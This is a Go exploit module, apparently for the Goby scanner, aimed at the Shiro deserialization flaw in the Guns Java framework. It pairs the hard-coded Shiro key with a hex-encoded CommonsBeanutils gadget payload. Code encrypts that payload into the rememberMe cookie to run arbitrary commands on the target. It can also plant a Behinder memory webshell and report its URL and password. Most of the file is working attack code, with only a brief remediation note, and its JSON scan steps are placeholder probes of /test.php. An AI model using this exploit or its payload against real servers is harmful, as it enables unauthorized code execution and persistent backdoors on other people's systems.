package exploits

import (
	"bytes"
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"encoding/hex"
	"git.gobies.org/goby/goscanner/godclient"
	"git.gobies.org/goby/goscanner/goutils"
	"git.gobies.org/goby/goscanner/jsonvul"
	"git.gobies.org/goby/goscanner/scanconfig"
	"git.gobies.org/goby/httpclient"
	"net/url"
	"strings"
)

func init() {
	expJson := `{
    "Name": "Guns Shiro Deserialization Vulnerability",
    "Description": "<p>Guns is a modern Java application development framework. Based on the mainstream technology Spring Boot 2+Vue3, Guns' core concept is to improve the development efficiency of developers and reduce the development cost of enterprise information systems.</p><p>Guns v5.1 and earlier have a shiro deserialization vulnerability. The vulnerability originates from the hard coded shiro key in the software. Attackers can use this key to generate malicious serialized data, execute arbitrary code on the server, execute system commands, or hack into the memory horse to obtain server permissions.</p>",
    "Product": "Guns",
    "Homepage": "https://gitee.com/stylefeng/guns",
    "DisclosureDate": "2022-11-11",
    "Author": "su18@javaweb.org",
    "FofaQuery": "title=\"Guns快速开发平台\" || body=\"Guns快速开发平台\" || (body=\"欢迎使用 Guns\" && title=\"Guns\")",
    "GobyQuery": "title=\"Guns快速开发平台\" || body=\"Guns快速开发平台\" || (body=\"欢迎使用 Guns\" && title=\"Guns\")",
    "Level": "3",
    "Impact": "<p>Guns v5.1 and earlier have a shiro deserialization vulnerability. The vulnerability originates from the hard coded shiro key in the software. Attackers can use this key to generate malicious serialized data, execute arbitrary code on the server, execute system commands, or hack into the memory horse to obtain server permissions.</p>",
    "Recommendation": "<p>1. There is currently no detailed solution provided, please pay attention to the manufacturer's homepage update: <a href=\"https://gitee.com/stylefeng/guns\">https://gitee.com/stylefeng/guns</a></p><p>2. Set access policies and whitelist access through security devices such as firewalls.</p><p>3. If not necessary, prohibit public network access to the system.</p>",
    "References": [],
    "Is0day": false,
    "HasExp": true,
    "ExpParams": [
        {
            "name": "AttackType",
            "type": "select",
            "value": "cmd,ysoserial",
            "show": ""
        },
        {
            "name": "URL",
            "type": "input",
            "value": "/{{{rand|str|12}}}",
            "show": "1=0"
        },
        {
            "name": "PassWord",
            "type": "input",
            "value": "goby",
            "show": "1=0"
        },
        {
            "name": "Referer",
            "type": "input",
            "value": "https://gobygo.net/",
            "show": "1=0"
        },
        {
            "name": "serializedData",
            "type": "input",
            "value": "",
            "show": "1=0"
        },
        {
            "name": "Gadget",
            "type": "input",
            "value": "CommonsBeanutils1",
            "show": "1=0"
        },
        {
            "name": "Category",
            "type": "input",
            "value": "Memory Shell",
            "show": "1=0"
        },
        {
            "name": "Memory Shell Category",
            "type": "input",
            "value": "TFMSFromRequest",
            "show": "1=0"
        },
        {
            "name": "Web Shell",
            "type": "input",
            "value": "bx",
            "show": "1=0"
        },
        {
            "name": "classBytes",
            "type": "input",
            "value": "",
            "show": "1=0"
        },
        {
            "name": "command",
            "type": "input",
            "value": "whoami",
            "show": "AttackType=cmd"
        }
    ],
    "ExpTips": {
        "Type": "",
        "Content": ""
    },
    "ScanSteps": [
        "OR",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "ExploitSteps": [
        "OR",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php ",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "Tags": [
        "Code Execution"
    ],
    "VulType": [
        "Code Execution"
    ],
    "CVEIDs": [],
    "CNNVD": [],
    "CNVD": [],
    "CVSSScore": "9.8",
    "Translation": {
        "CN": {
            "Name": "Guns 快速开发平台 Shiro 反序列化漏洞",
            "Product": "Guns",
            "Description": "<p>Guns是一个现代化的 Java 应用开发框架，基于主流技术Spring Boot 2 + Vue3，Guns的核心理念是提高开发人员开发效率，降低企业信息化系统的开发成本。<br></p><p>Guns v5.1 及之前的版本存在 shiro 反序列化漏洞，该漏洞源于软件存在硬编码的 shiro-key，攻击者可利用该 key 生成恶意的序列化数据，在服务器上执行任意代码，执行系统命令、或打入内存马等，获取服务器权限。</p>",
            "Recommendation": "<p>1、官方暂未修复该漏洞，请用户联系厂商修复漏洞：<a href=\"https://gitee.com/stylefeng/guns\">https://gitee.com/stylefeng/guns</a></p><p><span style=\"color: var(--primaryFont-color);\">2、通过防火墙等安全设备设置访问策略，设置白名单访问。</span></p><p>3、如非必要，禁止公网访问该系统。</p>",
            "Impact": "<p><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">Guns v5.1 及之前的版本存在&nbsp;</span><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">shiro 反序列化漏洞</span><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">，该漏洞源于软件存在硬编码的 shiro-key，攻击者可利用该 key 生成恶意的序列化数据，在服务器上执行任意代码，执行系统命令、或打入内存马等，获取服务器权限。</span><br></p>",
            "VulType": [
                "代码执行"
            ],
            "Tags": [
                "代码执行"
            ]
        },
        "EN": {
            "Name": "Guns Shiro Deserialization Vulnerability",
            "Product": "Guns",
            "Description": "<p>Guns is a modern Java application development framework. Based on the mainstream technology Spring Boot 2+Vue3, Guns' core concept is to improve the development efficiency of developers and reduce the development cost of enterprise information systems.</p><p>Guns v5.1 and earlier have a shiro deserialization vulnerability. The vulnerability originates from the hard coded shiro key in the software. Attackers can use this key to generate malicious serialized data, execute arbitrary code on the server, execute system commands, or hack into the memory horse to obtain server permissions.</p>",
            "Recommendation": "<p>1. There is currently no detailed solution provided, please pay attention to the manufacturer's homepage update: <a href=\"https://gitee.com/stylefeng/guns\">https://gitee.com/stylefeng/guns</a></p><p>2. Set access policies and whitelist access through security devices such as firewalls.</p><p>3. If not necessary, prohibit public network access to the system.</p>",
            "Impact": "<p>Guns v5.1 and earlier have a shiro deserialization vulnerability. The vulnerability originates from the hard coded shiro key in the software. Attackers can use this key to generate malicious serialized data, execute arbitrary code on the server, execute system commands, or hack into the memory horse to obtain server permissions.<br></p>",
            "VulType": [
                "Code Execution"
            ],
            "Tags": [
                "Code Execution"
            ]
        }
    },
    "AttackSurfaces": {
        "Application": null,
        "Support": null,
        "Service": null,
        "System": null,
        "Hardware": null
    },
    "PocId": "10704"
}`

	shiroAesEncrypt10294781679 := func(payloadByte []byte, key string) string {
		keyBytes, _ := base64.StdEncoding.DecodeString(key)
		block, _ := aes.NewCipher(keyBytes)
		blockSize := block.BlockSize()
		n := blockSize - len(payloadByte)%blockSize
		temp := bytes.Repeat([]byte{byte(n)}, n)
		payloadByte = append(payloadByte, temp...)
		iv := []byte(goutils.RandomHexString(16))[:blockSize]
		blockMode := cipher.NewCBCEncrypter(block, iv)
		cipherText := make([]byte, len(payloadByte))
		blockMode.CryptBlocks(cipherText, payloadByte) //加密数据
		return base64.StdEncoding.EncodeToString(append(iv[:], cipherText[:]...))
	}

	sendPayload198671483 := func(u *httpclient.FixUrl, payloadByte []byte, key string, cmd string, payload string, referer string) (*httpclient.HttpResponse, error) {
		if payload == "" {
			cfg := httpclient.NewGetRequestConfig("/")
			cfg.VerifyTls = false
			cfg.Header.Store("Cookie", "rememberMe="+shiroAesEncrypt10294781679(payloadByte, key))
			if cmd != "" {
				cfg.Header.Store("X-Token-Data", cmd)
			}
			return httpclient.DoHttpRequest(u, cfg)

		} else {
			cfg := httpclient.NewPostRequestConfig("/")
			cfg.VerifyTls = false
			cfg.Header.Store("Cookie", "rememberMe="+shiroAesEncrypt10294781679(payloadByte, key))
			cfg.Header.Store("Content-Type", "application/x-www-form-urlencoded")
			cfg.Header.Store("Referer", referer)
			cfg.Data = "dc=" + url.QueryEscape(payload)
			return httpclient.DoHttpRequest(u, cfg)
		}
	}

	key := "Z3VucwAAAAAAAAAAAAAAAA=="
	echoPayload := "ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B7870000000027372002B6F72672E6170616368652E636F6D6D6F6E732E6265616E7574696C732E4265616E436F6D70617261746F72E3A188EA7322A4480200024C000A636F6D70617261746F7271007E00014C000870726F70657274797400124C6A6176612F6C616E672F537472696E673B78707372002A6A6176612E6C616E672E537472696E672443617365496E73656E736974697665436F6D70617261746F7277035C7D5C50E5CE02000078707400106F757470757450726F706572746965737704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D6571007E00044C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B78700000000000000000757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E002000078700000124BCAFEBABE0000003101020A001F006E0A0022006F0A007000710A007200730A007200740A001F00750800760A001D00770A007800790A0078007A07007B0A0072007C08007D0A0022007E08007F0800800700810800820800830700840A001D00850800860800870700880B001800890B0018008A08008B08008C07008D0A001D008E07008F0A009000910800920700930800940A0022009508009609002700970700980A0027009908009A0A0070009B0A0022009C08009D08009E08009F0800A00800A10700A20800A30800A40A001D00A50700A60800A70A003100A80700A90800AA0800AB0800AC0A002700AD0800AE0700AF0900B000970A001D00B10A009000790A002700B20A005500B30A00B000B40800B50800B60700B70700B80A0048006E0A004700B90A004800BA0800BB0A001D00BC0800BD0A004800BE0800BF0700C00800C10800C20700C30701010100063C696E69743E010003282956010004436F6465010009746F43537472696E67010016284C6A6176612F6C616E672F537472696E673B295B4201000D537461636B4D61705461626C650100083C636C696E69743E0700C50700C60700C707009307008F0700840700880700C80700A207008D0700A60700C90700CA0700B70700B80700C00700C30C005600570C00CB00CC0700CD0C00CE00CF0700C70C00D000D10C00D200D30C00D400D5010007746872656164730C00D600D70700C60C00D800D90C00DA00DB0100135B4C6A6176612F6C616E672F5468726561643B0C00DC00DD010004657865630C00DE00DF010004687474700100067461726765740100126A6176612F6C616E672F52756E6E61626C6501000674686973243001000768616E646C657201001E6A6176612F6C616E672F4E6F537563684669656C64457863657074696F6E0C00E000D5010006676C6F62616C01000A70726F636573736F727301000E6A6176612F7574696C2F4C6973740C00E100E20C00DA00E301000372657101000B676574526573706F6E736501000F6A6176612F6C616E672F436C6173730C00E400E50100106A6176612F6C616E672F4F626A6563740700CA0C00E600E70100096765744865616465720100106A6176612F6C616E672F537472696E6701000C582D546F6B656E2D446174610C00E800E90100097365745374617475730C00EA00EB0100116A6176612F6C616E672F496E74656765720C005600EC0100076F732E6E616D650C00ED00EE0C00EF00DD01000377696E010003636D640100022F630100092F62696E2F626173680100022D6301000F73756E2F6D6973632F556E73616665010009746865556E736166650100156A6176612E6C616E672E554E495850726F636573730C00F000F10100206A6176612F6C616E672F436C6173734E6F74466F756E64457863657074696F6E0100156A6176612E6C616E672E50726F63657373496D706C0C00F200F30100025B4201000F6C61756E63684D656368616E69736D01000A68656C706572706174680100076F7264696E616C0C00F400E201000B666F726B416E64457865630100025B490700F50C00F600E50C00F700F80C0059005A0C00F700F901000B696E697453747265616D7301000E676574496E70757453747265616D0100136A6176612F696F2F496E70757453747265616D01001D6A6176612F696F2F4279746541727261794F757470757453747265616D0C00FA00FB0C00FC00FD0100246F72672E6170616368652E746F6D6361742E7574696C2E6275662E427974654368756E6B0C00FE00FF01000873657442797465730C010000CC010007646F577269746501001F6A6176612F6C616E672F4E6F537563684D6574686F64457863657074696F6E0100136A6176612E6E696F2E42797465427566666572010004777261700100136A6176612F6C616E672F457863657074696F6E0100306F72672F737531382F79737573657269616C2F7061796C6F6164732F74656D706C617465732F546F6D6361744563686F0100156A6176612F6C616E672F54687265616447726F75700100176A6176612F6C616E672F7265666C6563742F4669656C640100106A6176612F6C616E672F5468726561640100135B4C6A6176612F6C616E672F537472696E673B0100035B5B420100186A6176612F6C616E672F7265666C6563742F4D6574686F64010008676574427974657301000428295B420100106A6176612F6C616E672F53797374656D0100096172726179636F707901002A284C6A6176612F6C616E672F4F626A6563743B494C6A6176612F6C616E672F4F626A6563743B4949295601000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B01000E67657454687265616447726F757001001928294C6A6176612F6C616E672F54687265616447726F75703B010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B0100106765744465636C617265644669656C6401002D284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F7265666C6563742F4669656C643B01000D73657441636365737369626C65010004285A2956010003676574010026284C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0100076765744E616D6501001428294C6A6176612F6C616E672F537472696E673B010008636F6E7461696E7301001B284C6A6176612F6C616E672F4368617253657175656E63653B295A01000D6765745375706572636C61737301000473697A650100032829490100152849294C6A6176612F6C616E672F4F626A6563743B0100096765744D6574686F64010040284C6A6176612F6C616E672F537472696E673B5B4C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4D6574686F643B010006696E766F6B65010039284C6A6176612F6C616E672F4F626A6563743B5B4C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0100076973456D70747901000328295A010004545950450100114C6A6176612F6C616E672F436C6173733B0100042849295601000B67657450726F7065727479010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E673B01000B746F4C6F77657243617365010007666F724E616D65010025284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F436C6173733B010010616C6C6F63617465496E7374616E6365010025284C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F4F626A6563743B010008696E7456616C75650100116A6176612F6C616E672F426F6F6C65616E0100116765744465636C617265644D6574686F6401000776616C75654F660100162849294C6A6176612F6C616E672F496E74656765723B010016285A294C6A6176612F6C616E672F426F6F6C65616E3B01000472656164010005285B4229490100057772697465010007285B424949295601000B6E6577496E7374616E636501001428294C6A6176612F6C616E672F4F626A6563743B01000B746F42797465417272617901002D6F72672F6170616368652F78616C616E2F7061727365722F6E6F64652F415354537472696E674C69746572616C00210055001F000000000003000100560057000100580000001100010001000000052AB70001B10000000000090059005A000100580000003900050003000000242AC7000501B02AB600024C2BBE0460BC084D2B032C032BBEB800032C2CBE046403542CB000000001005B000000030001060008005C0057000100580000075B000800260000051F033BB80004B600054C2BB600061207B600084D2C04B600092C2BB6000AC0000BC0000B4E03360415042DBEA204EF2D1504323A051905C70006A704DB1905B6000C3A061906120DB6000E9A000D1906120FB6000E9A0006A704BD1905B600061210B600084D2C04B600092C1905B6000A3A071907C100119A0006A7049A1907B600061212B600084D2C04B600092C1907B6000A3A071907B600061213B600084DA700163A081907B60006B60015B600151213B600084D2C04B600092C1907B6000A3A071907B60006B600151216B600084DA700103A081907B600061216B600084D2C04B600092C1907B6000A3A071907B600061217B600084D2C04B600092C1907B6000AC00018C000183A0803360915091908B900190100A203F019081509B9001A02003A0A190AB60006121BB600084D2C04B600092C190AB6000A3A0B190BB60006121C03BD001DB6001E190B03BD001FB600203A0C190BB60006122104BD001D5903122253B6001E190B04BD001F5903122353B60020C000223A061906C6037C1906B600249A0374190CB60006122504BD001D5903B2002653B6001E190C04BD001F5903BB0027591100C8B7002853B6002057013A0D1229B8002AB6002B122CB6000E99001B06BD00225903122D535904122E5359051906533A0DA7001806BD00225903122F53590412305359051906533A0D12311232B600083A0E190E04B60009190E01B6000AC000313A0F013A101233B800343A10A7000C3A111236B800343A10190F1910B600373A11190DBE0464BD00383A121912BE361303361415141912BEA2002319121514190D1514046032B600025315131912151432BE603613841401A7FFDB1513BC083A1403361519123A161916BE361703361815181517A2002719161518323A19191903191415151919BEB8000315151919BE0460603615841801A7FFD804BC0A3A1606BC0A5903024F5904024F5905024F3A1719101239B600083A181910123AB600083A19191804B60009191904B6000919181911B6000A3A1A19191911B6000AC00038C000383A1B191AB60006123B03BD001DB6001E191A03BD001FB60020C00027B6003C361C1910123D100ABD001D5903B20026535904123853590512385359061238535907B20026535908123853591006B2002653591007123853591008123E53591009B2003F53B600403A1D191D04B60041191D1911100ABD001F5903151C0460B80042535904191B535905190D0332B8004353590619145359071912BEB8004253590801535910061916032EB8004253591007015359100819175359100903B8004453B60020571910124504BD001D5903123E53B600403A1E191E04B60041191E191104BD001F5903191753B60020571910124603BD001DB6001E3A1F191F04B60041191F191103BD001FB60020C000473A20BB004859B700493A21033622110400BC083A2319201923B6004A593622029F001019211923031522B6004BA7FFE8124CB800343A241924B6004D3A071924124E06BD001D59031238535904B20026535905B2002653B60040190706BD001F59031921B6004F535904BB00275903B700285359051921B6004FBEB8004253B6002057190CB60006125004BD001D5903192453B6001E190C04BD001F5903190753B6002057A700513A241252B800343A251925125304BD001D5903123853B60040192504BD001F59031921B6004F53B600203A07190CB60006125004BD001D5903192553B6001E190C04BD001F5903190753B6002057043B043B1A990006A70009840901A7FC0A1A990006A7000EA700053A05840401A7FB10A700044BB10009009500A000A3001400C300D100D4001402120219021C0035043104A604A90051002E003905120054003C005705120054005A007A05120054007D050C051200540000051A051D00540001005B000001E2001FFF002700050107005D07005E07000B010000FC001407005FFC001A07006002FC002207006165070062125D0700620CFD002D07006301FF00D0000E0107005D07005E07000B0107005F07006007006107006301070061070061070061070064000014FF002600110107005D07005E07000B0107005F0700600700610700630107006107006107006107006407005E070065070066000107006708FF001A00150107005D07005E07000B0107005F0700600700610700630107006107006107006107006407005E07006507006607006107006801010000FA0027FF001400190107005D07005E07000B0107005F0700600700610700630107006107006107006107006407005E070065070066070061070068010700380107006801010000F8002AFF016D00240107005D07005E07000B0107005F0700600700610700630107006107006107006107006407005E070065070066070061070068010700380107003E07003E07005E07005E0700610700380107006907006907006907006A07006B0107003800001AF7007707006CFB004DFF0003000D0107005D07005E07000B0107005F070060070061070063010700610700610700610000F80006FA0005FF000600050107005D07005E07000B0100004207006D01FF0005000000004207006D0000007571007E0010000000F9CAFEBABE0000003300110100216F72672F6170616368652F786D6C2F6C616E672F6D6174682F4672616374696F6E0700010100106A6176612F6C616E672F4F626A65637407000301000A536F7572636546696C6501000D4672616374696F6E2E6A61766101001073657269616C56657273696F6E5549440100014A0571E669EE3C6D471801000D436F6E7374616E7456616C75650100063C696E69743E0100032829560C000C000D0A0004000E010004436F646500210002000400000001001A000700080001000B00000002000900010001000C000D000100100000001100010001000000052AB7000FB1000000000001000500000002000670740008414D544D4241474C707701007871007E000D78"

	ExpManager.AddExploit(NewExploit(
		goutils.GetFileName(),
		expJson,
		func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
			randStr := goutils.RandomHexString(12)
			gadget, _ := hex.DecodeString(echoPayload)
			resp, err := sendPayload198671483(u, gadget, key, "echo "+randStr, "", "")
			return err == nil && strings.Contains(resp.RawBody, randStr)
		},
		func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
			if ss.Params["AttackType"].(string) == "cmd" {
				cmd := ss.Params["command"].(string)
				gadget, _ := hex.DecodeString(echoPayload)
				resp, err := sendPayload198671483(expResult.HostInfo, gadget, key, cmd, "", "")
				if err == nil {
					expResult.Output = resp.RawBody
					expResult.Success = true
				}
			} else if ss.Params["AttackType"].(string) == "ysoserial" {
				webShellUrl := ss.Params["URL"].(string)
				password := ss.Params["PassWord"].(string)
				referer := ss.Params["Referer"].(string)
				serializedData := ss.Params["serializedData"].(string)
				classBytes := ss.Params["classBytes"].(string)

				if serializedData == "" || classBytes == "" {
					serializedData, classBytes, _ = godclient.GenYsoPayloadFromParams(ss.Params)
				}

				data, _ := base64.StdEncoding.DecodeString(serializedData)
				resp, err := sendPayload198671483(expResult.HostInfo, data, key, "", classBytes, referer)

				if err == nil && resp.StatusCode == 200 &&
					(strings.Contains(resp.RawBody, "Success") || strings.Contains(resp.RawBody, "Filter already exists")) {
					cfg := httpclient.NewGetRequestConfig("/" + webShellUrl + "?" + password + "=1")
					cfg.FollowRedirect = false
					cfg.VerifyTls = false
					cfg.Header.Store("Referer", referer)

					if resp2, err2 := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err2 == nil && resp2.StatusCode == 200 {
						expResult.Success = true
						expResult.Output = "WebShell URL: " + expResult.HostInfo.FixedHostInfo + "/" + webShellUrl + "\r\n"
						expResult.Output += "Password: " + password + "\r\n"
						expResult.Output += "Webshell tool: Behinder v3.0\r\n"
						expResult.Output += "Webshell type: jsp\r\n"
						expResult.Output += "Referer: " + referer
					}
				}
			}
			return expResult
		},
	))
}
